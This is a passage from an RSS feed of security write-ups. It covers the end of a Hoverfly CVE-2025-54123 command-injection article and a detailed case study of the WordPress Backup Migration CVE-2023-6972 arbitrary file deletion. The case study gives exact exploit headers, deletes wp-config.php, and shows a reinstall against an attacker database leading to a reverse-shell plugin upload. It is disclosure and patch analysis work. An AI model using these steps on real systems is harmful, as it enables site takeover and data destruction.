json.Unmarshal(stdout.Bytes(), &amp;newPairView)</pre><p>If output is not valid JSON:</p><p>Flow becomes:</p><pre>return pair, &amp;MiddlewareError{<br>    Message: &quot;Failed to unmarshal JSON from middleware&quot;,<br>}</pre><p>This is the most common reason:</p><blockquote><em>“command executed but still error returned”</em></blockquote><h4>Chain of errors</h4><p>now the <em>executeMiddlewareLocally </em>throws an error then Execute also throws an error which leads SetMiddleware to throw error and in last the Put function in handles the error</p><pre>err = this.Hoverfly.SetMiddleware(middlewareReq.Binary, middlewareReq.Script, middlewareReq.Remote)<br> if err != nil {<br>  handlers.WriteErrorResponse(w, err.Error(), 422)<br>  return<br> }</pre><h4>Output with Errors</h4><p>That’s the reason we see output of our executed command with errors</p><p>for this payload</p><pre>{<br>    &quot;binary&quot;:&quot;/bin/bash&quot;,<br>    &quot;script&quot;:&quot;id&quot;<br>}</pre><p>we got this response</p><pre>{<br>    &quot;error&quot;: &quot;Failed to unmarshal JSON from middleware\nCommand: /bin/bash /tmp/hoverfly/hoverfly_3375714724\ninvalid character &#39;u&#39; looking for beginning of value\n\nSTDIN:\n{\&quot;response\&quot;:{\&quot;status\&quot;:200,\&quot;body\&quot;:\&quot;ok\&quot;,\&quot;encodedBody\&quot;:false,\&quot;headers\&quot;:{\&quot;test_header\&quot;:[\&quot;true\&quot;]}},\&quot;request\&quot;:{\&quot;path\&quot;:\&quot;/\&quot;,\&quot;method\&quot;:\&quot;GET\&quot;,\&quot;destination\&quot;:\&quot;www.test.com\&quot;,\&quot;scheme\&quot;:\&quot;\&quot;,\&quot;query\&quot;:\&quot;\&quot;,\&quot;formData\&quot;:null,\&quot;body\&quot;:\&quot;\&quot;,\&quot;headers\&quot;:{\&quot;test_header\&quot;:[\&quot;true\&quot;]}}}\n\nSTDOUT:\nuid=0(root) gid=0(root) groups=0(root)\n&quot;<br>}</pre><p>and after STDOUT: we got the output of our command</p><h3>Patch Analysis</h3><p>In the patch the developers disabled middleware API by default and applied that patch to related functionalities</p><pre>type HoverflyMiddlewareHandler struct {<br> Hoverfly HoverflyMiddleware<br> Enabled  bool<br>}</pre><p>added Enabled in HoverflyMiddlewareHandler with bool data type to enable and disable this functionality in file core/handlers/v2/hoverfly_middleware_handler.go</p><pre>func (this *HoverflyMiddlewareHandler) RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler) {<br> mux.Get(&quot;/api/v2/hoverfly/middleware&quot;, negroni.New(<br>  negroni.HandlerFunc(am.RequireTokenAuthentication),<br>  negroni.HandlerFunc(this.Get),<br> ))<br><br> /* mux.Put(&quot;/api/v2/hoverfly/middleware&quot;, negroni.New(<br>  negroni.HandlerFunc(am.RequireTokenAuthentication),<br>  negroni.HandlerFunc(this.Put),<br> )) this is remove */<br> if this.Enabled {<br>  mux.Put(&quot;/api/v2/hoverfly/middleware&quot;, negroni.New(<br>   negroni.HandlerFunc(am.RequireTokenAuthentication),<br>   negroni.HandlerFunc(this.Put),<br>  ))<br> }</pre><p>they added a condition to Put Function if the the Enabled is true then the Put function can be used</p><pre>func (this *HoverflyMiddlewareHandler) Options(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) {<br>// w.Header().Add(&quot;Allow&quot;, &quot;OPTIONS, GET, PUT&quot;) removed<br> allow := &quot;OPTIONS, GET&quot;<br> if this.Enabled { // added<br>  allow += &quot;, PUT&quot;<br> }<br> w.Header().Add(&quot;Allow&quot;, allow)<br> handlers.WriteResponse(w, []byte(&quot;&quot;))<br>}</pre><p>if enabled then append the PUT method in the allow header</p><p>the developers added the flag -enable-middleware-api to enable the middleware API</p><h3>Exploit</h3><p>Here’s a fully functional Exploit script in python which is available on my github repo</p><p><a href="https://github.com/0x00phantom-hat/Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit">GitHub - 0x00phantom-hat/Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NwefI98AIHo0X26Y4DYMQA.png" /></figure><p>Command Executed Successfully</p><h3>Conclusion</h3><p>CVE-2025–54123 demonstrates how three small oversights — blind input storage, an unguarded exec.Command() sink, and no API-level validation — chain into a CVSS 9.8 RCE. The &quot;error-as-oracle&quot; behavior makes it worse: the command executes and leaks output even when the request technically fails.</p><p>The patch disables the PUT endpoint by default, which is a reasonable stopgap, but proper input validation and binary allowlisting are the real fix. The admin API should never be exposed to untrusted networks regardless.</p><p>user input should never reach exec.Command() without sanitization, and error messages should never echo command output.</p><h3>References</h3><ul><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-54123">NVD</a></li><li><a href="https://github.com/SpectoLabs/hoverfly">GitHub - SpectoLabs/hoverfly: Lightweight service virtualization/ API simulation / API mocking tool for developers and testers</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aacc092f7f3a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2023–6972 Wordpress Backup Migration ≤1.3.9 Arbitrary File Deletion Case Study]]></title>
            <link>https://medium.com/@phantom_hat/cve-2023-6972-wordpress-backup-migration-1-3-9-arbitrary-file-deletion-case-study-ccea1c5f8c4e?source=rss-51d141216272------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccea1c5f8c4e</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[security-research]]></category>
            <dc:creator><![CDATA[phantom_hat]]></dc:creator>
            <pubDate>Mon, 13 Apr 2026 22:53:20 GMT</pubDate>
            <atom:updated>2026-04-14T06:46:53.093Z</atom:updated>
            <content:encoded><![CDATA[<h3>﷽</h3><h3>Introduction</h3><p>The Case Study focuses on CVE-2023–6972, which is Discovered by <a href="https://www.wordfence.com/threat-intel/vulnerabilities/researchers/hiroho-shimada"><strong>Hiroho Shimada</strong></a><strong> . </strong>The Vulnerability Exploits the Wordpress Backup Migration Plugin ≤ 1.3.9. The CVSS score is <strong>9.8 </strong>, The Vulnerability is based on <strong>Arbitrary File Deletion (AFD) </strong>which can be Chained to RCE by deleting wp-config.php if it has enough permissions. In this case study I am going to demonstrate this Case study, Patch Analysis, Manual / Automated Exploitation and chaining to RCE.</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-6972">NVD</a></p><h3>Target Overview</h3><p>The <em>Backup Migration</em> plugin by BackupBliss is a WordPress plugin designed to facilitate website backups, restoration, and migration. It provides functionality such as scheduled backups and data transfer between environments.</p><p>From a security perspective, the plugin exposes an attack surface through its internal request handling mechanisms, within the file:</p><pre>/wp-content/plugins/backup-backup/includes/backup-heart.php</pre><p>This file processes incoming requests and utilizes user-controlled input to construct file paths. Due to insufficient validation and sanitization which can be used to use path traversal sequence to construct the payload to arbitrary file at the end that path would be processed in unlink PHP Function which is used to delete files.</p><p>An Attacker can Delete wp-config.php with this vulnerability, since wordpress failed to find wp-config.php it will restart the installation process and then attacker provides a controlled database with valid credentials and it will install the wordpress again with the provided Database connection details after completing Installation attacker can create an admin user and then login it with that credentials to get Admin access of wordpress. After becoming admin an Attacker use many techniques to get RCE For Example Malicious Plugin Upload or Metasploit Module to get meterpreter shell.</p><h3>Discovery/Analysis</h3><h4>Source Point Identification</h4><p>The vulnerability originates in the file:</p><pre>/wp-content/plugins/backup-backup/includes/backup-heart.php</pre><p>At the top of this file, the code checks whether the getallheaders() function is available and, if so, uses it to populate a $fields array from all incoming HTTP request headers:</p><pre>if (isFunctionEnabled(&#39;getallheaders&#39;)) {<br>    $fields = getallheaders();<br>}</pre><p>getallheaders() is an alias for apache_request_headers() and returns an associative array of every header in the HTTP request meaning all header values are entirely attacker-controlled.</p><p>In this vulnerability, the following headers are susceptible. content-backups and content-name, content-manifest, or content-bmitmp and content-identy</p><p>In this Case Study and exploit we are using these headers:</p><ul><li>Content-Backups</li><li>Content-Name</li><li>Content-Bmitmp</li><li>Content-Identy</li></ul><p>for Exploitation we will also use other headers Content-It and Content-Dbit to trigger the execution flow to file deletion.</p><p>Since in the previous case study which demonstrate unauthenticated RCE in Wordpress Backup Migration ≤ 1.3.7 which was patched in 1.3.8 with the implementation of the security check function named filterChainFix($content) . A Detailed case study and patch analysis is available in previous case study.</p><p><a href="https://medium.com/@phantom_hat/cve-2023-6553-wordpress-backup-migration-1-3-7-case-study-31cb8275274b">CVE-2023–6553 WordPress Backup Migration ≤1.3.7 Case Study</a></p><p>So the Exploitation of this CVE requires to satisfy these security checks. on Content-Abs and Content-Dir Headers.</p><p>Now Let’s trace our inputs to vulnerable sinks.</p><pre>if (isFunctionEnabled(&#39;getallheaders&#39;)) {<br>    $fields = getallheaders();<br>}</pre><p>getallheaders() is an alias for apache_request_headers() and returns an associative array of every header in the HTTP request meaning all header values are entirely attacker-controlled.</p><h4>Constant Initialization</h4><pre>  // Load some constants<br>  define(&#39;ABSPATH&#39;, filterChainFix($fields[&#39;content-abs&#39;]));<br>  if (substr($fields[&#39;content-content&#39;], -1) != &#39;/&#39;) {<br>    $fields[&#39;content-content&#39;] = $fields[&#39;content-content&#39;] . &#39;/&#39;;<br>  }<br>  if (!defined(&#39;WP_CONTENT_DIR&#39;)) {<br>    define(&#39;WP_CONTENT_DIR&#39;, $fields[&#39;content-content&#39;]);<br>  }<br>  define(&#39;BMI_CONFIG_DIR&#39;, $fields[&#39;content-configdir&#39;]);<br>  define(&#39;BMI_BACKUPS&#39;, $fields[&#39;content-backups&#39;]);<br>  define(&#39;BMI_ROOT_DIR&#39;, filterChainFix($fields[&#39;content-dir&#39;]));<br>  // define(&#39;BMI_SHARE_LOGS_ALLOWED&#39;, $fields[&#39;content-shareallowed&#39;]);<br>  define(&#39;BMI_INCLUDES&#39;, BMI_ROOT_DIR . &#39;includes&#39;);<br>  define(&#39;BMI_SAFELIMIT&#39;, intval($fields[&#39;content-safelimit&#39;]));</pre><p>in Constant Loading the function for security checks is getting implemented.</p><h4>Satisfying Security Checks</h4><pre>  // Filter and prevent PHP filter injection<br>  function filterChainFix($content) {<br>    <br>    // Make sure it exist and is string<br>    if (!is_string($content)) die(&quot;Incorrect parameters.&quot;);<br>    <br>    // Check if it&#39;s not larger than max allowed path length (default systems)<br>    if (strlen($content) &gt; 256) die(&quot;Incorrect parameters.&quot;);<br>    <br>    // Check if the path does not contain &quot;php:&quot;<br>    if (strpos($content, &quot;php:&quot;)) die(&quot;Incorrect parameters.&quot;);<br>    <br>    // Check if the path contain &quot;|&quot;, it&#39;s not possible to use this character with our backups paths<br>    if (strpos($content, &quot;|&quot;)) die(&quot;Incorrect parameters.&quot;);<br>    <br>    // Check if the directory/file exist otherwise fail<br>    if (!(is_dir($content) || file_exists($content))) die(&quot;Incorrect parameters.&quot;);<br>    <br>    // Return correct content<br>    return $content;<br>    <br>  }</pre><p>We are going to satisfy these conditions. on Content-Abs and Content-Dir The Exploit requires to satisfy them. To satisfy these security checks the input must follow:</p><ul><li>the input must be string.</li><li>the input length must be less than 256. 256 Length is enough for a path. this security check is because filter chains are usually long.</li><li>the input doesn’t contains php:// which is usually used in php filter chain attacks.</li><li>the input doesn’t contains | which is also used in php filter chain attacks.</li><li>the last check is checking is there any directory or file exist ?</li></ul><p>if any of these checks fails it will immediate the execution of the script by using die() function and our exploit will fail.</p><h4>Satisfying Path concatenation</h4><p>According to these checks we also keep in mind path creations which is occuring in bypasser.php and backup-heart.php since Content-Abs and Content-Dir fails anything the the script throws an error. For the safe execution of exploit we have to pass these directories.</p><pre>Content-Abs: /var/www/html/<br>Content-Dir: /var/www/html/wp-content/plugins/backup-backup/</pre><h4>Why these fixed values ?</h4><p>Because these values are being used in bypasser.php to construct valid paths to other files.</p><p>For example:</p><p>let’s see what if we changed the value of Content-Dir to/var/</p><p>the concatenation occurs like this.</p><pre>  define(&#39;BMI_ROOT_DIR&#39;, filterChainFix($fields[&#39;content-dir&#39;]));<br>  // define(&#39;BMI_SHARE_LOGS_ALLOWED&#39;, $fields[&#39;content-shareallowed&#39;]);<br>  define(&#39;BMI_INCLUDES&#39;, BMI_ROOT_DIR . &#39;includes&#39;);</pre><p>The path would constructed as /var/includes</p><pre>    // Load bypasser<br>    require_once filterChainFix(BMI_INCLUDES) . &#39;/bypasser.php&#39;;<br>    $request = new BMI_Backup_Heart(true,<br>      $fields[&#39;content-configdir&#39;],<br>      $fields[&#39;content-content&#39;],<br>      $fields[&#39;content-backups&#39;],<br>      filterChainFix($fields[&#39;content-abs&#39;]),<br>      filterChainFix($fields[&#39;content-dir&#39;]),<br>      $fields[&#39;content-url&#39;],<br>      [<br>        &#39;identy&#39; =&gt; $fields[&#39;content-identy&#39;],<br>        &#39;manifest&#39; =&gt; $fields[&#39;content-manifest&#39;],<br>        &#39;safelimit&#39; =&gt; $fields[&#39;content-safelimit&#39;],<br>        &#39;rev&#39; =&gt; $fields[&#39;content-rev&#39;],<br>        &#39;backupname&#39; =&gt; $fields[&#39;content-name&#39;],<br>        &#39;start&#39; =&gt; $fields[&#39;content-start&#39;],<br>        &#39;filessofar&#39; =&gt; $fields[&#39;content-filessofar&#39;],<br>        &#39;total_files&#39; =&gt; $fields[&#39;content-total&#39;],<br>        &#39;browser&#39; =&gt; $fields[&#39;content-browser&#39;],<br>        &#39;bmitmp&#39; =&gt; $fields[&#39;content-bmitmp&#39;]<br>      ],<br>      $fields[&#39;content-it&#39;],<br>      $fields[&#39;content-dbit&#39;],<br>      $fields[&#39;content-dblast&#39;]<br>    );</pre><p>and the bypasser.php loading would be fail. because the path would constructed as /var/includes/bypasser.php and the script would fail to use BMI_Backup_Heart Class from bypasser.php because the /var/includes/bypasser.php is not a default path for bypasser.php and other files.</p><p>So to exploit it cleanly we have to provide actual and correct paths.</p><ul><li>Content-Abs would be the root directory of wordpress.</li><li>Content-Dir would be the root directory of backup-backup plugin.</li></ul><pre>Content-Abs: /var/www/html/<br>Content-Dir: /var/www/html/wp-content/plugins/backup-backup/</pre><p>Same with Content-Abs it is also used in concatenation to construct paths.</p><pre>      // Load all dependencies of WordPress for Backup plugin<br>      $dependencies = [<br>        ABSPATH . WPINC . &#39;/l10n.php&#39;,<br>        ABSPATH . WPINC . &#39;/plugin.php&#39;,<br>// SNIP<br>        ABSPATH . WPINC . &#39;/blocks.php&#39;,<br>        ABSPATH . WPINC . &#39;/blocks/index.php&#39;,<br>      ];</pre><p>WPINC is a global constant used in wordpress which value is wp-includes which is defined in wp-settings.php .</p><pre>define( &#39;WPINC&#39;, &#39;wp-includes&#39; );</pre><h4>Path traversal to Arbitrary File Deletion (AFD)</h4><pre>if (isset($remote_settings[&#39;bmitmp&#39;])) {<br>  if (!defined(&#39;BMI_TMP&#39;)) define(&#39;BMI_TMP&#39;, $remote_settings[&#39;bmitmp&#39;]);<br>}</pre><p>$remote_settings is an associative array which is passed as a constructor to initialize an Object of the class BMI_Backup_Heart in the backup-heart.php file.</p><pre>$request = new BMI_Backup_Heart(true,<br>      $fields[&#39;content-configdir&#39;],<br>      $fields[&#39;content-content&#39;],<br>      $fields[&#39;content-backups&#39;],<br>      filterChainFix($fields[&#39;content-abs&#39;]),<br>      filterChainFix($fields[&#39;content-dir&#39;]),<br>      $fields[&#39;content-url&#39;],<br>      [<br>        &#39;identy&#39; =&gt; $fields[&#39;content-identy&#39;],<br>        &#39;manifest&#39; =&gt; $fields[&#39;content-manifest&#39;],<br>        &#39;safelimit&#39; =&gt; $fields[&#39;content-safelimit&#39;],<br>        &#39;rev&#39; =&gt; $fields[&#39;content-rev&#39;],<br>        &#39;backupname&#39; =&gt; $fields[&#39;content-name&#39;],<br>        &#39;start&#39; =&gt; $fields[&#39;content-start&#39;],<br>        &#39;filessofar&#39; =&gt; $fields[&#39;content-filessofar&#39;],<br>        &#39;total_files&#39; =&gt; $fields[&#39;content-total&#39;],<br>        &#39;browser&#39; =&gt; $fields[&#39;content-browser&#39;],<br>        &#39;bmitmp&#39; =&gt; $fields[&#39;content-bmitmp&#39;]<br>      ],<br>      $fields[&#39;content-it&#39;],<br>      $fields[&#39;content-dbit&#39;],<br>      $fields[&#39;content-dblast&#39;]<br>    );</pre><ol><li>Content-Identy this header is user controlled and directly passing in associative array which is passing into constructor. and the key is identy .</li><li>Content-Bmitmp this header is user controlled and directly passing in associative array which is passing into constructor. and the key is bmitmp .</li><li>Content-Name this header is user controlled and directly passing in associative array which is passing into constructor. and the key is backupname.</li><li>Content-Backups is passing directly into constructor.</li><li>Content-It is passing directly into constructor.</li><li>Content-Dbit is passing directly into constructor.</li></ol><pre>// Handle request<br>$request-&gt;handle_batch();</pre><p>After Initializing the Object it calls the handle_batch function from BMI_Backup_Heart Class to handle request.</p><h4>Constructor Initializing Class properties and Constants</h4><p>The bypasser.php will initialize variables in the constructor let’s take a look for better analysis of other things in this file.</p><pre>if (isset($remote_settings[&#39;bmitmp&#39;])) {<br>  if (!defined(&#39;BMI_TMP&#39;)) define(&#39;BMI_TMP&#39;, $remote_settings[&#39;bmitmp&#39;]);<br>}</pre><p>on the start of constructor it’s setting the value of Content-Bmitmp to the constant</p><pre>$this-&gt;it = intval($it);<br>$this-&gt;dbit = intval($dbit);<br>$this-&gt;abs = $abs;<br>$this-&gt;dir = $dir;<br>$this-&gt;backups = $backups;<br>$this-&gt;backupname = $remote_settings[&#39;backupname&#39;];<br>$this-&gt;identy = $remote_settings[&#39;identy&#39;];</pre><p>then these Class properties are setting up here:</p><ul><li>this-&gt;it is set from Content-It</li><li>this-&gt;Dbit is set from Content-Dbit</li><li>this-&gt;abs is set from Content-Abs</li><li>this-&gt;dir is set from Content-Dir</li><li>this-&gt;backups is set from Content-Backups</li><li>this-&gt;backupname is set from Content-Name</li><li>this-&gt;identy is set from Content-Identy</li></ul><p><strong>NOTE: </strong>Dbit and It must be Integer.</p><pre>$this-&gt;identyfile = BMI_TMP . DIRECTORY_SEPARATOR . &#39;.&#39; . $this-&gt;identy;</pre><p>In the constructor BMI_TMP constant is concatenating with DIRECTORY_SEPARATOR constant and this-identy both are our controlled values by headers.</p><p><strong>For Example:</strong></p><p>if we send Content-Identy and Content-Bmitmp as:</p><pre>Content-Identy: ./tmp/test.txt<br>Content-Bmitmp: /tmp</pre><p>it would construct as:</p><pre>/tmp/../tmp/test.txt</pre><p>since “.” is also concatenating, we can add another “.” in the start of Content-Identy and the path would be constructed as traversal sequence and assigned to Object Property this-&gt;identyfile .</p><h4>Execution Flow from handle_batch() to make_file_groups()</h4><pre>public function handle_batch() {</pre><p>In this function there is a check</p><pre>// Check if it was triggered by verified user<br>if (!file_exists($this-&gt;identyfile)) {<br>  return;<br>}</pre><p>to satisfy this check we have to send the correct paths in Content-Identy and Content-Bmitmp headers to influence this-&gt;identyfile to a correct path. otherwise it will return.</p><p>Now there are other checks on Content-It and Content-Dbit</p><pre>// Background<br>if ($this-&gt;dbit !== -1) {<br><br>  // SNIP<br><br>} else {<br><br>  if ($this-&gt;it === 0) {<br><br>    $this-&gt;make_file_groups();<br>    $this-&gt;output-&gt;log(&#39;Making archive...&#39;, &#39;STEP&#39;);<br><br>  } else $this-&gt;zip_batch();<br><br>}</pre><p>here we are satisfying these condition to force our execution flow to make_file_groups() function in that function there is a function send_error($reason = false, $abort = false) which is being called when a condition get’s true we will true that condition. Then send_error() will be called and in send_error() function there is another function named remove_commons() which would remove files using @unlink() which is our vulnerable sink. so we have to force the execution flow according to this strategy.</p><p>to satisfy these we have to send Content-It and Content-Dbit Headers as:</p><pre>Content-It: 0<br>Content-Dbit: -1</pre><p>With these value execution flow goes in make_file_groups() Function.</p><h4>Execution Flow from make_file_groups() to send_error()</h4><p>In the beginning there is a check which calls the send_error() function we have to satisfy that condition to call the send_error() .</p><pre>if (!(file_exists($this-&gt;fileList) &amp;&amp; is_readable($this-&gt;fileList))) {<br>  return $this-&gt;send_error(&#39;File list is not accessible or does not exist, try to run your backup process once again.&#39;, true);<br>}</pre><p>Since the fileList value is</p><pre>$this-&gt;fileList = BMI_TMP . DIRECTORY_SEPARATOR . &#39;files_latest.list&#39;;</pre><p>so both functions would return false (false) then ! Not Operator would be applied !(false) = true then it becomes true and the send_error() would be called.</p><h4>Vulnerable Sinks</h4><p>In the send_error() there is a function being called and some and Backup Removing Operation is executing.</p><pre>// Remove common files<br>$this-&gt;remove_commons();<br><br>// Remove backup<br>if (file_exists(BMI_BACKUPS . DIRECTORY_SEPARATOR . $this-&gt;backupname)) @unlink(BMI_BACKUPS . DIRECTORY_SEPARATOR . $this-&gt;backupname);</pre><p>It will call remove_commons();</p><p>and then it will check if the backup exists ? if true then it will remove it using @unlink()</p><p>since BMI_BACKUPS and this-&gt;backupname is user controlled by Content-Backups and Content-Name Headers we can easily satisfy them to remove files using unlink() .</p><p>Inside remove_commons() there is a check and unlink statement.</p><pre>if (file_exists($identyfile)) @unlink($identyfile);</pre><p>Since this-&gt;identyfile can be influenced by Content-Bmitmp and Content-Identy after checking the file existence it will remove it using unlink()</p><p>Since there are 2 sinks points we can remove 2 files 1st is controlled by Content-Bmitmp and Content-Identy and 2nd is controlled by Content-Backups and Content-Name but we can’t remove them because of internal checks since we can point both to different files or point both to same file. In my Exploit on github I pointed both to same file for stability.</p><h3>Manual Exploitation</h3><p>In This Section we will demonstrate the exploitation Manually. As a Proxy I am using BurpSuite.</p><pre>/wp-content/plugins/backup-backup/includes/backup-heart.php</pre><p>This is the vulnerable endpoint.</p><pre>root@9ce561080283:/tmp# echo &quot;hacker&quot; &gt; test.txt &amp;&amp; cat test.txt &gt; delme.txt &amp;&amp; chown www-data:www-data * &amp;&amp; ls -lsa<br>total 16<br>4 drwxrwxrwt 1 root     root     4096 Apr 13 21:26 .<br>4 drwxr-xr-x 1 root     root     4096 Apr 13 21:15 ..<br>4 -rw-r--r-- 1 www-data www-data    7 Apr 13 21:26 delme.txt<br>4 -rw-r--r-- 1 www-data www-data    7 Apr 13 21:26 test.txt<br>root@9ce561080283:/tmp#</pre><p>For the Testing I created 2 test files and gave the ownership to www-data to don’t face any permission errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s-75GBmpzrBRX50GetfLkg.png" /></figure><p>after running ls command we see both files got deleted.</p><pre>root@9ce561080283:/tmp# ls -lsa<br>total 16<br>4 drwxrwxrwt 1 root     root     4096 Apr 13 21:34 .<br>4 drwxr-xr-x 1 root     root     4096 Apr 13 21:15 ..<br>4 -rw-r--r-- 1 www-data www-data  281 Apr 13 21:34 .htaccess<br>0 -rw-r--r-- 1 www-data www-data    0 Apr 13 21:34 index.html<br>0 -rw-r--r-- 1 www-data www-data    0 Apr 13 21:34 index.php<br>4 -rw-r--r-- 1 www-data www-data  461 Apr 13 21:34 latest.log<br>root@9ce561080283:/tmp#</pre><h3>Automated Exploitation to RCE Chaining</h3><p>From now we are focusing to gain RCE for this I already Created the exploit for this vulnerability we will use this to delete wp-config.php and re-install the wordpress to set admin user and with that Admin user we will try many methods to get RCE like custom plugin upload or metasploit Module.</p><p>We can get the exploit after downloading from this repository. you can check the README.md file to for usage or -h flag for help.</p><p><a href="https://github.com/0x00phantom-hat/CVE-2023-6972-Exploit-Arbitrary-File-Deletion">GitHub - 0x00phantom-hat/CVE-2023-6972-Exploit-Arbitrary-File-Deletion: This repository contains a Proof of Concept (PoC) exploit for CVE-2023-6972.</a></p><blockquote><strong>NOTE:</strong> Before deleting wp-config.php don’t forget to make it’s backup.</blockquote><pre>root@9ce561080283:/var/www/html# cat wp-config.php &gt; /root/wp-config.php<br>root@9ce561080283:/var/www/html# ls -lsa /root/wp-config.php<br>8 -rw-r--r-- 1 root root 5919 Apr 13 21:45 /root/wp-config.php<br>root@9ce561080283:/var/www/html#</pre><p>Backup is done. Now we can remove it by running the exploit.</p><pre>python exploit.py exploit --url http://127.0.0.1 --file-path &quot;/var/www/html&quot; --file-name &quot;wp-config.php&quot; --verbose</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJxJ2v4qNIaTT86YY_WX_g.png" /></figure><p>we got no Response. the file is deleted.</p><h4>Reinstalling Wordpress</h4><p>Refresh the Website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RQ3OCKl2ZtksuLwsP3EkvA.png" /></figure><p>After selecting Language Continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OIxmRQC0pQfpglD2uQtRfQ.png" /></figure><p>It will ask to start Installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8xeYHAE9PbNLXsIeK7DJYg.png" /></figure><p>Then it will ask for database details but we don’t have details. to solve this problem we will host our malicious databse. In this scenario i am using Docker.</p><pre>docker run --name attacker-db -e MYSQL_ROOT_PASSWORD=attackroot -e MYSQL_DATABASE=malicious_wp -e MYSQL_USER=attacker -e MYSQL_PASSWORD=attackpass -p 3306:3306 -d mysql:8.0</pre><p>Now we can fill the details and continue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQnLaLjmvfNxbxbRtZgjOA.png" /></figure><p>Then it will ask to Run The Installation. Click on that button and the Installation process would be start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n2PrcoI4bsf05w1wwReh3g.png" /></figure><p>For this demo lab i am using weak credentials. Using weak credentials can be problematic Since this is controlled environment i can use weak credentails.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xIqY3VRRFsiFE8fvWF4qcA.png" /></figure><p>Click the Install Wordpress Button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rbPmM_2uxu7XUZ4CUlQrew.png" /></figure><p>It will ask to login click on it and login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*smN_yvjxetMRLdIjBr5reg.png" /></figure><p>by using those creds i am logged in.</p><h4>Creating and Uploading Custom Plugin</h4><p>We are using Pentest Monkey php-reverse-shell.php for this demonstration.</p><pre>&lt;?php<br><br>/**<br> * Plugin Name: My RCE Plugin<br> * Description: A simple plugin gives RCE.<br> * Version: 1.0<br> * Author: Phantom Hat<br> */<br><br>// SNIP<br><br>?&gt;</pre><p>Edit the php-reverse-shell.php file. The metadata is mandatory for the plugin to appear in your dashboard.</p><p>Now Zip it and upload it. after that Activate it to get shell</p><blockquote><strong>NOTE:</strong> The Listener must be accessible for reverse shell.</blockquote><pre>╰─&gt;[👾]~/Research $ zip shell.zip shell.php<br>  adding: shell.php (deflated 17%)</pre><p>Plugin is ready to Upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zbR0Scd0cnQmd_1iKxbq8A.png" /></figure><p>Click on Install Now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MNnmA8YOPMmeWiyBNDmSlQ.png" /></figure><p>Click on Activate Plugin.</p><p>Check the Listener there is a reverse-shell connection.</p><pre>Linux 9ce561080283 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64 GNU/Linux<br> 22:20:18 up 12:35,  0 user,  load average: 2.71, 2.08, 1.83<br>USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>/bin/sh: 0: can&#39;t access tty; job control turned off<br>$ id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>$ pwd<br>/<br>$ ls -lsa<br>total 60<br>4 drwxr-xr-x   1 root root 4096 Apr 13 21:15 .<br>4 drwxr-xr-x   1 root root 4096 Apr 13 21:15 ..<br>0 -rwxr-xr-x   1 root root    0 Apr 13 21:15 .dockerenv<br>0 lrwxrwxrwx   1 root root    7 Nov 11  2024 bin -&gt; usr/bin<br>4 drwxr-xr-x   2 root root 4096 Oct 31  2024 boot<br>0 drwxr-xr-x   5 root root  340 Apr 13 21:15 dev<br>4 drwxr-xr-x   1 root root 4096 Apr 13 21:15 etc<br>4 drwxr-xr-x   2 root root 4096 Oct 31  2024 home<br>0 lrwxrwxrwx   1 root root    7 Nov 11  2024 lib -&gt; usr/lib<br>0 lrwxrwxrwx   1 root root    9 Nov 11  2024 lib64 -&gt; usr/lib64<br>4 drwxr-xr-x   2 root root 4096 Nov 11  2024 media<br>4 drwxr-xr-x   2 root root 4096 Nov 11  2024 mnt<br>4 drwxr-xr-x   2 root root 4096 Nov 11  2024 opt<br>0 dr-xr-xr-x 420 root root    0 Apr 13 21:15 proc<br>4 drwx------   1 root root 4096 Apr 13 21:45 root<br>8 drwxr-xr-x   1 root root 4096 Nov 12  2024 run<br>0 lrwxrwxrwx   1 root root    8 Nov 11  2024 sbin -&gt; usr/sbin<br>4 drwxr-xr-x   2 root root 4096 Nov 11  2024 srv<br>0 dr-xr-xr-x  13 root root    0 Apr 13 21:15 sys<br>4 drwxrwxrwt   1 root root 4096 Apr 13 22:20 tmp<br>4 drwxr-xr-x   1 root root 4096 Nov 11  2024 usr<br>4 drwxr-xr-x   1 root root 4096 Nov 12  2024 var<br>$</pre><h3>Vulnerability Patch Analysis: CVE-2023–6972</h3><p>The patch introduced in version <strong>1.4.0</strong> focuses on two primary security principles: <strong>Strict Input Validation</strong> and <strong>Restricted Execution Context</strong>. The developers moved away from “Implicit Trust” of HTTP headers to a “Strict Whitelist” approach.</p><h4>1. The Introduction of bmiQuickEnd() and Enhanced Sanitization</h4><p>In the patched version of backup-heart.php, the developers introduced a more aggressive error-handling function, bmiQuickEnd(). Unlike the previous version which simply used die(), this version logs specific &quot;End Codes&quot; (1–16) to help administrators identify exactly which security check failed.</p><ul><li><strong>Header Canonicalization:</strong> The patch now forces all path-related headers to use the file:// protocol and resolves them using realpath(). This prevents attackers from using relative paths or exotic PHP wrappers to bypass 